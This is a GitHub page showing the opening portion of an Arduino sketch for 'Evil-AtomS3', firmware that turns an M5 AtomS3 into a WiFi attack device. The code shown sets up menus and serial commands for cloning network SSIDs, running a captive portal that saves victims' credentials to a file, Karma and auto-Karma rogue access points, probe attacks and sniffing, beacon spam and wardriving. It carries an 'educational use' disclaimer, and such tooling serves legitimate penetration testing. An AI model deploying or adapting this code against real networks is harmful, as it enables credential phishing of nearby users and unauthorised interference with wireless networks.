-
Notifications
You must be signed in to change notification settings - Fork 55
/
Evil-AtomS3-v1-1-7.ino
4129 lines (3533 loc) · 138 KB
/
Evil-AtomS3-v1-1-7.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
Evil-M5Core2 - WiFi Network Testing and Exploration Tool
Copyright (c) 2024 7h30th3r0n3
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Disclaimer:
This tool, Evil-M5Core2, is developed for educational and ethical testing purposes only.
Any misuse or illegal use of this tool is strictly prohibited. The creator of Evil-M5Core2
assumes no liability and is not responsible for any misuse or damage caused by this tool.
Users are required to comply with all applicable laws and regulations in their jurisdiction
regarding network testing and ethical hacking.
*/
// remember to change hardcoded webpassword below in the code to ensure no unauthorized access to web interface : !!!!!! CHANGE THIS !!!!!
// no bluetooth serial due to only BLE on atoms3
#include <WiFi.h>
#include <WebServer.h>
#include <DNSServer.h>
#include <SD.h>
#include <M5Unified.h>
#include <vector>
#include <string>
#include <set>
#include <TinyGPSPlus.h>
#include <Adafruit_NeoPixel.h> //led
extern "C" {
#include "esp_wifi.h"
#include "esp_system.h"
}
int ledOn = true;// change this to true to get cool led effect (only on fire)
static constexpr const gpio_num_t SDCARD_CSPIN = GPIO_NUM_4;
WebServer server(80);
DNSServer dnsServer;
const byte DNS_PORT = 53;
int currentIndex = 0, lastIndex = -1;
bool inMenu = true;
const char* menuItems[] = {"Scan WiFi", "Select Network", "Clone & Details" , "Start Captive Portal", "Stop Captive Portal" , "Change Portal", "Check Credentials", "Delete All Creds", "Monitor Status", "Probe Attack", "Probe Sniffing", "Karma Attack", "Karma Auto", "Karma Spear", "Select Probe", "Delete Probe", "Delete All Probes", "Brightness", "Wardriving", "Beacon Spam"};
const int menuSize = sizeof(menuItems) / sizeof(menuItems[0]);
const int maxMenuDisplay = 10;
int menuStartIndex = 0;
String ssidList[100];
int numSsid = 0;
bool isOperationInProgress = false;
int currentListIndex = 0;
String clonedSSID = "Evil-AtomS3";
int topVisibleIndex = 0;
// Connect to nearby wifi network automaticaly ro provide internet to the core2 you can be connected and provide AP at same time
// experimental
const char* ssid = ""; // ssid to connect,connection skipped at boot if stay blank ( can be shutdown by different action like probe attack)
const char* password = ""; // wifi password
//!!!!!! CHANGE THIS !!!!!
//!!!!!! CHANGE THIS !!!!!
// password for web access to remote check captured credentials and send new html file !!!!!! CHANGE THIS !!!!!
const char* accessWebPassword = "7h30th3r0n3"; // !!!!!! CHANGE THIS !!!!!
//!!!!!! CHANGE THIS !!!!!
//!!!!!! CHANGE THIS !!!!!
String portalFiles[30]; // 30 portals max
int numPortalFiles = 0;
String selectedPortalFile = "/sites/normal.html"; // defaut portal
int portalFileIndex = 0;
int nbClientsConnected = 0;
int nbClientsWasConnected = 0;
int nbPasswords = 0;
bool isCaptivePortalOn = false;
String macAddresses[10]; // 10 mac address max
int numConnectedMACs = 0;
File fsUploadFile; // global variable for file upload
String captivePortalPassword = "";
// Probe Sniffind part
#define MAX_SSIDS_Karma 200
char ssidsKarma[MAX_SSIDS_Karma][33];
int ssid_count_Karma = 0;
bool isScanningKarma = false;
int currentIndexKarma = -1;
int menuStartIndexKarma = 0;
int menuSizeKarma = 0;
const int maxMenuDisplayKarma = 12;
enum AppState {
StartScanKarma,
ScanningKarma,
StopScanKarma,
SelectSSIDKarma
};
AppState currentStateKarma = StartScanKarma;
bool isProbeSniffingMode = false;
bool isProbeKarmaAttackMode = false;
bool isKarmaMode = false;
// Probe Sniffing end
// AutoKarma part
volatile bool newSSIDAvailable = false;
char lastSSID[33] = {0};
const int autoKarmaAPDuration = 15000; // Time for Auto Karma Scan can be ajusted if needed consider only add time(Under 10s to fast to let the device check and connect to te rogue AP)
bool isAutoKarmaActive = false;
bool isWaitingForProbeDisplayed = false;
unsigned long lastProbeDisplayUpdate = 0;
int probeDisplayState = 0;
static bool isInitialDisplayDone = false;
char lastDeployedSSID[33] = {0};
bool karmaSuccess = false;
//AutoKarma end
//config file
const char* configFolderPath = "/config";
const char* configFilePath = "/config/config.txt";
int defaultBrightness = 255 * 0.35; // 35% default Brightness
std::vector<std::string> whitelist;
std::set<std::string> seenWhitelistedSSIDs;
//config file end
//led part
#define PIN 15
//#define PIN 25 // for M5Stack Core AWS comment above and uncomment this line
#define NUMPIXELS 10
Adafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB);
int delayval = 100;
void setColorRange(int startPixel, int endPixel, uint32_t color) {
for (int i = startPixel; i <= endPixel; i++) {
pixels.setPixelColor(i, color);
}
pixels.show();
delay(30);
}
//led part end
// sd
#define SCK 7
#define MISO 8
#define MOSI 6
// end sd
TinyGPSPlus gps;
bool isItSerialCommand = false;
void setup() {
M5.begin();
Serial.begin(115200);
M5.Display.setTextSize(0);
M5.Display.setTextColor(TFT_WHITE);
M5.Display.setTextFont(1);
const char* startUpMessages[] = {
" There is no spoon...",
" Hack the Planet!",
" Accessing Mainframe...",
" Cracking Codes...",
"Decrypting Messages...",
"Infiltrating the Network.",
" Bypassing Firewalls...",
"Exploring the Deep Web...",
"Launching Cyber Attack...",
" Running Stealth Mode...",
" Gathering Intel...",
" Shara Conord?",
" Breaking Encryption...",
"Anonymous Mode Activated.",
" Cyber Breach Detected.",
"Initiating Protocol 47...",
" The Gibson is in Sight.",
" Running the Matrix...",
"Neural Networks Syncing..",
"Quantum Algorithm started",
"Digital Footprint Erased.",
" Uploading Virus...",
"Downloading Internet...",
" Root Access Granted.",
"Cyberpunk Mode: Engaged.",
" Zero Days Exploited.",
"Retro Hacking Activated.",
" Firewall: Deactivated.",
"Riding the Light Cycle...",
" Engaging Warp Drive...",
" Hacking the Holodeck..",
" Tracing the Nexus-6...",
"Charging at 2,21 GigaWatt",
" Loading Batcomputer...",
" Accessing StarkNet...",
" Dialing on Stargate...",
" Activating Skynet...",
" Unleashing the Kraken..",
" Accessing Mainframe...",
" Booting HAL 9000...",
" Death Star loading ...",
" Initiating Tesseract...",
" Decrypting Voynich...",
" Hacking the Gibson...",
" Orbiting Planet X...",
" Accessing SHIELD DB...",
" Crossing Event Horizon.",
" Dive in the RabbitHole.",
" Rigging the Tardis...",
" Sneaking into Mordor...",
"Manipulating the Force...",
"Decrypting the Enigma...",
"Jacking into Cybertron..",
" Casting a Shadowrun...",
" Navigating the Grid...",
" Surfing the Dark Web...",
" Engaging Hyperdrive...",
" Overclocking the AI...",
" Bending Reality...",
" Scanning the Horizon...",
" Decrypting the Code...",
"Solving the Labyrinth...",
" Escaping the Matrix...",
" You know I-Am-Jakoby ?",
"You know TalkingSasquach?",
"Redirecting your bandwidth for Leska WiFi...", // Donation on Ko-fi // Thx Leska !
"Compressing wook.worm algorithm", // Donation on Ko-fi // Thx wook.worm !
" 42 ",
" Don't be a Skidz !",
" Hack,Eat,Sleep,Repeat",
" You know Samxplogs ?",
" For educational purpose",
"Time to learn something",
"U Like Karma? Check Mana",
" 42 because Universe ",
"Navigating the Cosmos...",
"Unlocking Stellar Secrets",
"Galactic Journeys Await..",
"Exploring Unknown Worlds.",
" Charting Star Paths...",
" Accessing zone 51... ",
"Downloading NASA server..",
" You know Pwnagotchi ?",
" You know FlipperZero?",
"You know Hash-Monster ?",
"Synergizing Neuromancer..",
"Warping Through Cyberspac",
"Manipulating Quantum Data",
"Incepting Dreamscapes...",
"Unlocking Time Capsules..",
"Rewiring Neural Pathways.",
"Unveiling Hidden Portals.",
"Disrupting the Mainframe.",
"Melding Minds w Machines.",
"Bending the Digital Rules",
" Hack The Planet !!!",
"Tapping into the Ether...",
"Writing the Matrix Code..",
"Sailing the Cyber Seas...",
" Reviving Lost Codes...",
" HACK THE PLANET !!!",
" Dissecting DNA of Data",
"Decrypting the Multiverse",
"Inverting Reality Matrice",
"Conjuring Cyber Spells...",
"Hijacking Time Streams...",
"Unleashing Digital Demons",
"Exploring Virtual Vortexe",
"Summoning Silicon Spirits",
"Disarming Digital Dragons",
"Casting Code Conjurations",
"Unlocking the Ether-Net..",
" Show me what you got !!!",
" Do you have good Karma ?",
"Waves under surveillance!",
" Shaking champagne…",
"Warping with Rick & Morty",
" Pickle Rick !!!",
"Navigating the Multiverse",
" Szechuan Sauce Quest.",
" Morty's Mind Blowers.",
" Ricksy Business Afoot.",
" Portal Gun Escapades.",
" Meeseeks Mayhem.",
" Schwifty Shenanigans.",
" Dimension C-137 Chaos.",
"Cartman's Schemes Unfold.",
"Stan and Kyle's Adventure",
" Mysterion Rises Again.",
" Towelie's High Times.",
"Butters Awkward Escapades",
"Navigating the Multiverse",
" Affirmative Dave,\n I read you.",
" Your Evil-M5Core2 have\n died of dysentery",
};
const int numMessages = sizeof(startUpMessages) / sizeof(startUpMessages[0]);
randomSeed(esp_random());
int randomIndex = random(numMessages);
const char* randomMessage = startUpMessages[randomIndex];
SPI.begin(SCK, MISO, MOSI, -1);
if (!SD.begin()) {
Serial.println("Error..");
Serial.println("SD card not mounted...");
}else{
Serial.println("----------------------");
Serial.println("SD card initialized !! ");
Serial.println("----------------------");
restoreConfigParameter("brightness");
drawImage("/img/startup-atom.jpg");
if (ledOn){
pixels.setPixelColor(4, pixels.Color(255,0,0));
pixels.setPixelColor(5, pixels.Color(255,0,0));
pixels.show();
delay(100);
pixels.setPixelColor(3, pixels.Color(255,0,0));
pixels.setPixelColor(6, pixels.Color(255,0,0));
pixels.show();
delay(100);
pixels.setPixelColor(2, pixels.Color(255,0,0));
pixels.setPixelColor(7, pixels.Color(255,0,0));
pixels.show();
delay(100);
pixels.setPixelColor(1, pixels.Color(255,0,0));
pixels.setPixelColor(8, pixels.Color(255,0,0));
pixels.show();
delay(100);
pixels.setPixelColor(0, pixels.Color(255,0,0));
pixels.setPixelColor(9, pixels.Color(255,0,0));
pixels.show();
delay(100);
delay(1000);
}else{
delay(2000);
}
}
/*String batteryLevelStr = getBatteryLevel();
int batteryLevel = batteryLevelStr.toInt();
if (batteryLevel < 15) {
drawImage("/img/low-battery.jpg");
Serial.println("-------------------");
Serial.println("!!!!Low Battery!!!!");
Serial.println("-------------------");
delay(4000);
}
*/
int textY = 30;
int lineOffset = 10;
int lineY1 = textY - lineOffset;
int lineY2 = textY + lineOffset + 30;
M5.Display.clear();
M5.Display.drawLine(0, lineY1, M5.Display.width(), lineY1, TFT_WHITE);
M5.Display.drawLine(0, lineY2, M5.Display.width(), lineY2, TFT_WHITE);
M5.Display.setCursor(20, textY);
M5.Display.println(" Evil-AtomS3");
Serial.println("-------------------");
Serial.println(" Evil-AtomS3");
M5.Display.setCursor(18, textY + 20);
M5.Display.println("By 7h30th3r0n3");
M5.Display.setCursor(28, textY + 45);
M5.Display.println("v1.1.7 2024");
Serial.println("By 7h30th3r0n3");
Serial.println("-------------------");
M5.Display.setCursor(0, textY + 80);
M5.Display.println(randomMessage);
Serial.println(" ");
Serial.println(randomMessage);
Serial.println("-------------------");
firstScanWifiNetworks();
if (ledOn){
pixels.setPixelColor(4, pixels.Color(0,0,0));
pixels.setPixelColor(5, pixels.Color(0,0,0));
pixels.show();
delay(50);
pixels.setPixelColor(3, pixels.Color(0,0,0));
pixels.setPixelColor(6, pixels.Color(0,0,0));
pixels.show();
delay(50);
pixels.setPixelColor(2, pixels.Color(0,0,0));
pixels.setPixelColor(7, pixels.Color(0,0,0));
pixels.show();
delay(50);
pixels.setPixelColor(1, pixels.Color(0,0,0));
pixels.setPixelColor(8, pixels.Color(0,0,0));
pixels.show();
delay(50);
pixels.setPixelColor(0, pixels.Color(0,0,0));
pixels.setPixelColor(9, pixels.Color(0,0,0));
pixels.show();
delay(50);
}
if (strcmp(ssid, "") != 0) {
WiFi.mode(WIFI_MODE_APSTA);
WiFi.begin(ssid, password);
unsigned long startAttemptTime = millis();
while (WiFi.status() != WL_CONNECTED && millis() - startAttemptTime < 3000) {
delay(500);
Serial.println("Trying to connect to Wifi...");
}
if (WiFi.status() == WL_CONNECTED) {
Serial.println("Connected to wifi !!!");
} else {
Serial.println("Fail to connect to Wifi or timeout...");
}
} else {
Serial.println("SSID is empty.");
Serial.println("Skipping Wi-Fi connection.");
Serial.println("----------------------");
}
pixels.begin(); // led init
Serial2.begin(9600, SERIAL_8N1, 5, -1); // Assurez-vous que les pins RX/TX sont correctement configurées pour votre matériel
}
void drawImage(const char *filepath) {
fs::File file = SD.open(filepath);
M5.Display.drawJpgFile(SD, filepath);
file.close();
}
void firstScanWifiNetworks() {
WiFi.mode(WIFI_STA);
WiFi.disconnect();
unsigned long startTime = millis();
int n;
while (millis() - startTime < 2000) {
n = WiFi.scanNetworks();
if (n != WIFI_SCAN_RUNNING) break;
}
if (n == 0) {
Serial.println("No network found ...");
} else {
Serial.print(n);
Serial.println(" Near Wifi Networks : ");
Serial.println("-------------------");
numSsid = min(n, 100);
for (int i = 0; i < numSsid; i++) {
ssidList[i] = WiFi.SSID(i);
Serial.print(i);
Serial.print(": ");
Serial.println(ssidList[i]);
}
Serial.println("-------------------");
}
}
unsigned long previousMillis = 0;
const long interval = 1000;
void loop() {
M5.update();
handleDnsRequestSerial();
if (inMenu) {
if (lastIndex != currentIndex) {
drawMenu();
lastIndex = currentIndex;
}
handleMenuInput();
} else {
switch (currentStateKarma) {
case StartScanKarma:
if (M5.BtnA.wasPressed()) {
startScanKarma();
currentStateKarma = ScanningKarma;
}
break;
case ScanningKarma:
if (M5.BtnA.wasPressed()) {
isKarmaMode = true;
stopScanKarma();
currentStateKarma = ssid_count_Karma > 0 ? StopScanKarma : StartScanKarma;
}
break;
case StopScanKarma:
handleMenuInputKarma();
break;
case SelectSSIDKarma:
handleMenuInputKarma();
break;
}
if (M5.BtnA.wasPressed() && currentStateKarma == StartScanKarma) {
inMenu = true;
isOperationInProgress = false;
}
}
}
void executeMenuItem(int index) {
inMenu = false;
isOperationInProgress = true;
switch (index) {
case 0:
scanWifiNetworks();
break;
case 1:
showWifiList();
break;
case 2:
showWifiDetails(currentListIndex);
break;
case 3:
createCaptivePortal();
break;
case 4:
stopCaptivePortal();
break;
case 5:
changePortal();
break;
case 6:
checkCredentials();
break;
case 7:
deleteCredentials();
break;
case 8:
displayMonitorPage1();
break;
case 9:
probeAttack();
break;
case 10:
probeSniffing();
break;
case 11:
karmaAttack();
break;
case 12:
startAutoKarma();
break;
case 13:
karmaSpear();
break;
case 14:
listProbes();
break;
case 15:
deleteProbe();
break;
case 16:
deleteAllProbes();
break;
case 17:
brightness();
break;
case 18:
wardrivingMode();
break;
case 19:
beaconAttack();
break;
}
isOperationInProgress = false;
}
unsigned long buttonPressTime = 0;
bool buttonPressed = false;
void handleMenuInput() {
// Détecter lorsque le bouton est appuyé
if (M5.BtnA.isPressed() && !buttonPressed) {
buttonPressed = true;
buttonPressTime = millis();
}
// Vérifier si le bouton a été relâché
if (!M5.BtnA.isPressed() && buttonPressed) {
unsigned long pressDuration = millis() - buttonPressTime;
buttonPressed = false;
if (pressDuration < 1000) {
// Pression courte : navigation dans le menu
currentIndex++;
if (currentIndex >= menuSize) {
currentIndex = 0;
}
} else {
// Pression longue : sélectionner l'élément du menu
executeMenuItem(currentIndex);
}
}
menuStartIndex = max(0, min(currentIndex, menuSize - maxMenuDisplay));
}
void drawMenu() {
M5.Display.clear();
M5.Display.setTextSize(1); // Assurez-vous que la taille du texte est correcte
M5.Display.setTextFont(1);
int lineHeight = 12; // Augmentez la hauteur de ligne si nécessaire
int startX = 0;
int startY = 3;
for (int i = 0; i < maxMenuDisplay; i++) {
int menuIndex = menuStartIndex + i;
if (menuIndex >= menuSize) break;
if (menuIndex == currentIndex) {
M5.Display.fillRect(0, startY + i * lineHeight, M5.Display.width(), lineHeight, TFT_NAVY);
M5.Display.setTextColor(TFT_GREEN);
} else {
M5.Display.setTextColor(TFT_WHITE);
}
M5.Display.setCursor(startX, startY + i * lineHeight + (lineHeight / 2) - 2); // Ajustez ici
M5.Display.println(menuItems[menuIndex]);
}
M5.Display.display();
}
void handleDnsRequestSerial(){
dnsServer.processNextRequest();
server.handleClient();
checkSerialCommands();
}
void listProbesSerial() {
File file = SD.open("/probes.txt", FILE_READ);
if (!file) {
Serial.println("Failed to open probes.txt");
return;
}
int probeIndex = 0;
Serial.println("List of Probes:");
while (file.available()) {
String probe = file.readStringUntil('\n');
probe.trim();
if (probe.length() > 0) {
Serial.println(String(probeIndex) + ": " + probe);
probeIndex++;
}
}
file.close();
}
void selectProbeSerial(int index) {
File file = SD.open("/probes.txt", FILE_READ);
if (!file) {
Serial.println("Failed to open probes.txt");
return;
}
int currentIndex = 0;
String selectedProbe = "";
while (file.available()) {
String probe = file.readStringUntil('\n');
if (currentIndex == index) {
selectedProbe = probe;
break;
}
currentIndex++;
}
file.close();
if (selectedProbe.length() > 0) {
clonedSSID = selectedProbe;
Serial.println("Probe selected: " + selectedProbe);
} else {
Serial.println("Probe index not found.");
}
}
String currentlySelectedSSID = "";
bool isProbeAttackRunning = false;
bool stopProbeSniffingViaSerial = false;
bool isProbeSniffingRunning = false;
void checkSerialCommands() {
if (Serial.available()) {
String command = Serial.readStringUntil('\n');
command.trim();
if (command == "scan_wifi") {
isOperationInProgress = true;
inMenu = false;
scanWifiNetworks();
//sendBLE("-------------------");
//sendBLE("Near Wifi Network : ");
for (int i = 0; i < numSsid; i++) {
ssidList[i] = WiFi.SSID(i);
//sendBLE(String(i) + ": " + ssidList[i]);
}
} else if (command.startsWith("select_network")) {
int ssidIndex = command.substring(String("select_network ").length()).toInt();
selectNetwork(ssidIndex);
//sendBLE("SSID sélectionné: " + currentlySelectedSSID);
} else if (command.startsWith("change_ssid ")) {
String newSSID = command.substring(String("change_ssid ").length());
cloneSSIDForCaptivePortal(newSSID);
Serial.println("Cloned SSID changed to: " + clonedSSID);
//sendBLE("Cloned SSID changed to: " + clonedSSID);
} else if (command.startsWith("set_portal_password ")) {
String newPassword = command.substring(String("set_portal_password ").length());
captivePortalPassword = newPassword;
Serial.println("Captive portal password changed to: " + captivePortalPassword);
//sendBLE("Captive portal password changed to: " + captivePortalPassword);
} else if (command.startsWith("set_portal_open")) {
captivePortalPassword = "";
Serial.println("Open Captive portal set");
//sendBLE("Open Captive portal set");
} else if (command.startsWith("detail_ssid")) {
int ssidIndex = command.substring(String("detail_ssid ").length()).toInt();
String security = getWifiSecurity(ssidIndex);
int32_t rssi = WiFi.RSSI(ssidIndex);
uint8_t* bssid = WiFi.BSSID(ssidIndex);
String macAddress = bssidToString(bssid);
M5.Display.display();
Serial.println("------Wifi-Info----");
//sendBLE("------Wifi-Info----");
Serial.println("SSID: " + (ssidList[ssidIndex].length() > 0 ? ssidList[ssidIndex] : "N/A"));
//sendBLE("SSID: " + (ssidList[ssidIndex].length() > 0 ? ssidList[ssidIndex] : "N/A"));
Serial.println("Channel: " + String(WiFi.channel(ssidIndex)));
//sendBLE("Channel: " + String(WiFi.channel(ssidIndex)));
Serial.println("Security: " + security);
//sendBLE("Security: " + security);
Serial.println("Signal: " + String(rssi) + " dBm");
//sendBLE("Signal: " + String(rssi) + " dBm");
Serial.println("MAC: " + macAddress);
//sendBLE("MAC: " + macAddress);
Serial.println("-------------------");
//sendBLE("-------------------");
} else if (command == "clone_ssid") {
cloneSSIDForCaptivePortal(currentlySelectedSSID);
Serial.println("Cloned SSID: " + clonedSSID);
//sendBLE("Cloned SSID: " + clonedSSID);
} else if (command == "start_portal") {
createCaptivePortal();
//sendBLE("Start portal with " + clonedSSID);
} else if (command == "stop_portal") {
stopCaptivePortal();
//sendBLE("Portal Stopped ");
} else if (command == "list_portal") {
File root = SD.open("/sites");
numPortalFiles = 0;
Serial.println("Available portals:");
//sendBLE("-------------------");
//sendBLE("Availables portals :");
while (File file = root.openNextFile()) {
if (!file.isDirectory()) {
String fileName = file.name();
if (fileName.endsWith(".html")) {
portalFiles[numPortalFiles] = String("/sites/") + fileName;
Serial.print(numPortalFiles);
Serial.print(": ");
Serial.println(fileName);
//sendBLE(String(numPortalFiles) + ": " + fileName);
numPortalFiles++;
if (numPortalFiles >= 30) break; // max 30 files
}
}
file.close();
}
root.close();
} else if (command.startsWith("change_portal")) {
int portalIndex = command.substring(String("change_portal ").length()).toInt();
changePortal(portalIndex);
} else if (command == "check_credentials") {
checkCredentialsSerial();
} else if (command == "monitor_status") {
String status = getMonitoringStatus();
Serial.println("-------------------");
//sendBLE("-------------------");
Serial.println(status);
//sendBLE(status);
} else if (command == "probe_attack") {
isOperationInProgress = true;
inMenu = false;
isItSerialCommand = true;
probeAttack();
delay(200);
} else if (command == "stop_probe_attack") {
if (isProbeAttackRunning) {
isProbeAttackRunning = false;
Serial.println("-------------------");
//sendBLE("-------------------");
Serial.println("Stopping probe attack...");
//sendBLE("Stopping probe attack...");
Serial.println("-------------------");
//sendBLE("-------------------");
} else {
Serial.println("-------------------");
//sendBLE("-------------------");
Serial.println("No probe attack running.");
//sendBLE("No probe attack running.");
Serial.println("-------------------");
//sendBLE("-------------------");
}
} else if (command == "probe_sniffing") {
isOperationInProgress = true;
inMenu = false;
probeSniffing();
delay(200);
} else if (command == "stop_probe_sniffing") {
stopProbeSniffingViaSerial = true;
isProbeSniffingRunning = false;
Serial.println("-------------------");
//sendBLE("-------------------");
Serial.println("Stopping probe sniffing via serial...");
//sendBLE("Stopping probe sniffing via serial...");
Serial.println("-------------------");
//sendBLE("-------------------");
} else if (command == "list_probes") {
listProbesSerial();
} else if (command.startsWith("select_probes ")) {
int index = command.substring(String("select_probes ").length()).toInt();
selectProbeSerial(index);
} else if (command == "karma_auto") {
isOperationInProgress = true;
inMenu = false;
startAutoKarma();
delay(200);
} else if (command == "help") {
Serial.println("-------------------");
//sendBLE("-------------------");
Serial.println("Available Commands:");
//sendBLE("Available Commands:");
Serial.println("scan_wifi - Scan WiFi Networks");
//sendBLE("scan_wifi - Scan WiFi Networks");
Serial.println("select_network <index> - Select WiFi <index>");
//sendBLE("select_network <index> - Select WiFi <index>");
Serial.println("change_ssid <max 32 char> - change current SSID");
//sendBLE("change_ssid <max 32 char> - change current SSID");
Serial.println("set_portal_password <password min 8> - change portal password");
//sendBLE("set_portal_password <password min 8> - portal pass");
Serial.println("set_portal_open - change portal to open");
//sendBLE("set_portal_open - change portal to open");
Serial.println("detail_ssid <index> - Details of WiFi <index>");
//sendBLE("detail_ssid <index> - Details of WiFi <index>");
Serial.println("clone_ssid - Clone Network SSID");
//sendBLE("clone_ssid - Clone Network SSID");
Serial.println("start_portal - Activate Captive Portal");
//sendBLE("start_portal - Activate Captive Portal");
Serial.println("stop_portal - Deactivate Portal");
//sendBLE("stop_portal - Deactivate Portal");
Serial.println("list_portal - Show Portal List");
//sendBLE("list_portal - Show Portal List");
Serial.println("change_portal <index> - Switch Portal <index>");
//sendBLE("change_portal <index> - Switch Portal <index>");
Serial.println("check_credentials - Check Saved Credentials");
//sendBLE("check_credentials - Check Saved Credentials");
Serial.println("monitor_status - Get current information on device");
//sendBLE("monitor_status - Get current information on device");
Serial.println("probe_attack - Initiate Probe Attack");
Serial.println("stop_probe_attack - End Probe Attack");
Serial.println("probe_sniffing - Begin Probe Sniffing");
Serial.println("stop_probe_sniffing - End Probe Sniffing");
Serial.println("list_probes - Show Probes");
//sendBLE("list_probes - Show Probes");
Serial.println("select_probes <index> - Choose Probe <index>");
//sendBLE("select_probes <index> - Choose Probe <index>");
Serial.println("karma_auto - Auto Karma Attack Mode");
Serial.println("-------------------");
//sendBLE("-------------------");
} else {
Serial.println("-------------------");
//sendBLE("-------------------");
Serial.println("Command not recognized: " + command);
//sendBLE("Command not recognized: " + command);
Serial.println("-------------------");
//sendBLE("-------------------");
}
}
}
String getMonitoringStatus() {
String status;
int numClientsConnected = WiFi.softAPgetStationNum();
int numCredentials = countPasswordsInFile();
status += "Clients: " + String(numClientsConnected) + "\n";
status += "Credentials: " + String(numCredentials) + "\n";
status += "SSID: " + String(clonedSSID) + "\n";
status += "Portal: " + String(isCaptivePortalOn ? "On" : "Off") + "\n";
status += "Page: " + String(selectedPortalFile.substring(7)) + "\n";
updateConnectedMACs();
status += "Connected MACs:\n";
for (int i = 0; i < 10; i++) {
if (macAddresses[i] != "") {
status += macAddresses[i] + "\n";
}
}
status += "Stack left: " + getStack() + " Kb\n";
status += "RAM: " + getRamUsage() + " Mo\n";
status += "Battery: " + getBatteryLevel() + "%\n"; // thx to kdv88 to pointing mistranlastion
status += "Temperature: " + getTemperature() + "C\n";
return status;
}
void checkCredentialsSerial() {
File file = SD.open("/credentials.txt");
if (!file) {
Serial.println("Failed to open credentials file");
return;
}
bool isEmpty = true;
Serial.println("----------------------");
Serial.println("Credentials Found:");
Serial.println("----------------------");
while (file.available()) {
String line = file.readStringUntil('\n');
if (line.length() > 0) {
Serial.println(line);
isEmpty = false;
}
}
file.close();
if (isEmpty) {
Serial.println("No credentials found.");
}
}
void changePortal(int index) {
File root = SD.open("/sites");
int currentIndex = 0;
String selectedFile;
while (File file = root.openNextFile()) {
if (currentIndex == index) {
selectedFile = String(file.name());
break;
}
